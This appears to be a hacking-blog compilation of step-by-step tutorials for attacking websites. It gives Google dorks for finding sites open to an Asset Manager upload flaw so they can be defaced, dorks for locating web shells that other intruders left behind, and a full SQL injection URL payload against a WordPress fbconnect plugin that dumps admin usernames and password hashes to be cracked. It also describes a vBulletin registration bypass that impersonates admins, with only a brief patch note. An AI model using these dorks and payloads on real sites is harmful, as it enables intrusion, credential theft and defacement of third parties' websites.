WordPress Remote File Upload Vulnerability with Asset Manager Hack Web sites 13.06

In WordPress we can upload our deface page using Remote File Upload Vulnerability with Asset Manager. Asset Manager is a plugin that allows you to upload your files Just simply follow the simple steps to hack the wordpress website.
1. Open google and search inurl:Editor/assetmanager/assetmanager.asp
2. Now open any result you will found look like bellow snapshot.
3. Just click on browse and upload your deface page.

Demo: Asset Manager Deface page

Find Shells Using "Index of /sh3llZ" Google Dork 04.15

After getting the admin access hackers are Uploading their control penal (that’s call shell). Shell allows hackers to hack/deface the website and using the shell hacker can get root access. Sometime hackers left the shell in vulnerable sits. And here is some Google dorks which helps you to find the shells.

intitle:index of/sh3llZ

"Index of /sh3llZ"

"/sh3llZ/uploadshell/uploadshell.php

You can see in the above figure there are some shells like c99.php , c100.php etc. using that shell u can upload your shell and you can also deface that site.

Credits:
Devils cafe

Hack WordPress Blog in easy way 13.12

In this tutorial I am going to show you how to hack wordpress blog in easy was so just follow the simple steps.

1. Open google and search inurl:"fbconnect_action=myhome"

2. Now open any link from the search result .

3. After opening the link just change this part of the URL ?fbconnect_action=myhome&userid= with this

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z​0mbyak,7,8,9,10,11,12+from+wp_users--

after that just hit enter you will see the admin id and hash (see the bellow snapshot ) now just decrypt the hash with md5 cracker and you have done !

vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability 04.37

Software Link: http://www.vbulletin.org
Version: 3.8.4 & 3.8.5
Google dork 1 : powered by vBulletin 3.8.4
Google dork 2 : powered by vBulletin 3.8.5
Platform / Tested on: Multiple
Category: webapplications

BUG :
1 . Go to Http://[localhost]/path/register.php
2 . Assume that forum admin user name is ADMIN
3 . Type this at User Name ===> ADMIN&#00
4 . &#00 is an ASCII Code
5 . And complete the other parameters
6 . Then click on Complete Registrarion
7 . Now you see that your user name like admin user name After this time the private messages to the user (ADMIN) to sending see for you is sending .

Patch : 1 . Go to AdminCP
2 . Click on vBulletin Options and choose vBulletin Options
3 . Choose Censorship Options
4 . type &# in Censored Words section
5 . Then click on Save
This works only with vBulletin 3.8.4 and 3.8.5 ,if it doesnt work,that means some other has already used that username u want also ,try to use an other admins username,if it wont work still,then that means they have fixed this problem !!